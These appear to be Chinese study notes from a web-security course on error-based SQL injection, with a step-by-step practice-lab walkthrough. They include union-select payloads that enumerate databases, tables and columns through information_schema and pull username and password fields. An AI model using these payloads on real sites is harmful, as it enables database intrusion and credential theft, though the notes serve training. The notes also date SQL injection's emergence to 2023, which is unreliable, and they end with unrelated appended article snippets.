1、sql注入本質
注入攻擊的本質,是把使用者輸入的資料當作**執行
這有兩個條件:
第乙個是使用者能夠控制輸入
第二個是原本程式要執行的**,拼接裡使用者輸入的資料然後執行
sql注入就是針對sql語句的注入,也可以理解為使用者輸入的資料當作sql語句的**執行了
sql注入是2023年一名叫做rfp的黑客發表的一篇文章讓後才進入了大眾視線。
2、顯錯注入靶場的做法
判斷注入點
最古老的方法:輸入and1=1頁面正常
輸入and1=2頁面不正常
最簡單的方法:頁面後面加',看是否報錯
老師的方法: 如果是數字型傳參,可以嘗試-1
例如: 頁面顯示id=1的新聞
頁面顯示id=1的新聞
and 1=1 and 1=2 被攔截的可能性太高了
可以嘗試 and -1=-1 and -1=-2 and 1>0 or 1=1
或者直接or sleep(5)
3、分析公開課貓舍注入
顯錯注入核心-聯合查詢
聯合查詢[將兩個查詢語句結果一起輸出]條件:兩個查詢語句的結果集字段數必須相同
select*from news where id=1
union
select password,username from admin limit
union select 1,2 database()
and 1=2 union select1,2
information_schema.tables 存放表名和庫名的對應
information_schema.columns 存放欄位名和表名的對應
注: information_schema.tables 實際上是選中information_schema庫中的tables表
4、顯錯注入靶場的做法
mysql注入:
判斷當前頁面字段總數
and 1=1 order by 1,2,3,4,5……
判斷顯示位
and 1=2 union select 1,2,3,4,5,6,7……
查當前資料庫
and 1=2 union select 1,2,database()
查表名and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=資料庫名 limit 0,1
查列名and 1=2 union select 1,2,columns_name from information_schema.columns where table_name=表名 limit 0,1
查字段內容
and 1=2 union select 1,使用者名稱段,密碼段 from 表名 limit 0,1
補充:
sql注入基礎-本課易錯回答分析
1.sql注入本質是什麼
把使用者輸入當做**執行
2.sql注入的條件
使用者可控輸入和原本程式要執行**,拼接使用者輸入且當作sql語句去執行
3.order by的作用及含義
order by 用於判斷顯示位,order by 原有的作用是對字段進行乙個排序,在sql注入中用order by 來判斷排序,order by 1就是對乙個字段進行排序,如果一共四個字段,你order by 5 資料庫不知道怎麼排序,於是乎就錯誤了無返回值
4.union select如何發揮作用
union為聯合查詢,a聯合b進行了查詢,為查詢了前面的sql語句(原有的)後再進行後面的sq查詢(我們新增的),但兩張表聯合查詢的字段數必須相同。
5.輸出位是什麼
sql查詢出來的資料不一定全部會輸出,頁面上只會輸出幾個欄位的資訊,那幾個會輸出的字段就是輸出位
6.information_schema是什麼
information_schema是mysql的系統自帶表,用於查詢資料,在mysql5.0以上版本中存在
7.加單引號和加 and 1=2有什麼區別
有區別,單引號是為了閉合語句,而and 1=2是為了讓union前面的語句無查詢結果無輸出,然後直接輸出拼接進去union後面的那個語句的查詢結果
8.and 是什麼意思
and 為和的意思,乙個語句中,當前乙個正確,後乙個錯誤時,如果是and連線整個語句返回是false
9.or是什麼意思
or 為和的意思,乙個語句中,當前乙個正確,後乙個錯誤時,如果是or連線整個語句返回是true
10.and 和 or 選擇使用有什麼講究?
and 語句執行時,如果and 前的語句返回false,那麼and後面的語句根本不執行
11.除了單引號外還有其他的符號可以閉合嗎?
實際上還是要看原始碼,常見的是單引號和雙引號還有括號
12.limit的作用
limit 在注入中用於排序然後輸出,limit a,b a代表了從哪個位置(從0開始) b代表從那位開始顯示幾條資料
13.可以查訊多個字段內容嗎
可以,可以使用語句group_concat()函式進行輸出
14.%23有什麼作用
%23編碼為#,用於注釋後面的語句,防止sql注入點後原本的sql語句對sql注入進行干擾
15.報錯注入的原理
利用sql注入拼接sql語句,將報錯資訊輸出時同時將我們想要的資訊輸出
16.閉合是什麼
在sql查詢中,**比較嚴謹,括號和引號都得成雙成對,引號內的預設是字串不會當作sql語句執行,所以必須閉合然後才能注入,當然有些sql語句直接拼接,也就不用什麼閉合了
17.sql注入有資料庫限制嗎?
沒有,常見的資料庫都可以
18.sql注入有動態指令碼語言限制嗎?
沒有限制
19.sql注入如果沒系統自帶表怎麼辦
那就慘了,只能通過猜,不斷的嘗試,一般而言資料庫的表也不會亂起名字,畢竟是團隊協作的東西
20.系統自帶庫管理員不會修改嗎?
一般而言並不會
21.union all 和 union 區別
如果輸出的資料有相同的,union只會輸出一次,而union all都會輸出
22.為什麼用and 1=1正常 and 1=2報錯來判斷是否存在sql注入
因為如果存在sql注入,那麼and就是和的意思,1=1是乙個恒等式,然後因為原本能夠查出資料,那麼兩個真就是true,但是1=2肯定是不可能的,這裡就會返回乙個false,然後因為和必須兩個真才返回true,所以這裡拼接就不成立返回false.
自己寫的過程:
檢視是否存在sql注入
使用古老方法 and 1=1頁面正常
and 1=2頁面顯示錯誤,說明存在sql注入
檢視有幾個字段:
order by 1
order by 2
order by 3
order by 4 顯示錯誤,說明有三個字段
找輸出點:
union select 1,2,3
結果出現 2,3 說明2,3都可以輸出
查詢系統自帶庫:
union select 1,2,table_name from information_schema.tables where table_schema=database()
出現第乙個表,在後面加 limit 1,1 獲取第二個表
查詢字段:
union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag'
最後得到欄位名
找到欄位名獲取資料:
union select 1,2,flag from error_flag-- '
如果資料flag錯誤 可以試試limit 0,1/1,1
web安全入門(第四章 4)盲注注入
一 盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成的注入攻擊。伺服器沒有錯誤回顯,對於攻擊者來說缺少了非常重要的 除錯資訊 布林盲注 布林很明顯trup跟fales,也就是說他只會根據你的諸如資訊 返回trup跟fales,也就沒有了之前的報錯資訊。時間盲注 介面返回值只有一種,trup無論輸...
第四章 Web表單
request.form能獲取post請求中提交的表單資料。flask wtf可以把處理web表單的過程變成一種愉悅的體驗。使用flask wtf時,每個web表單都由乙個繼承自form的類表示。每個類定義表單中的一組字段,每個欄位都用物件表示。表單字段是可呼叫的,在模板中呼叫後會渲染成html 可...
第四章棧(1)
function stack function push element function pop function peek function length function clear function isempty else 測試stack類的實現 let s new stack s.pus...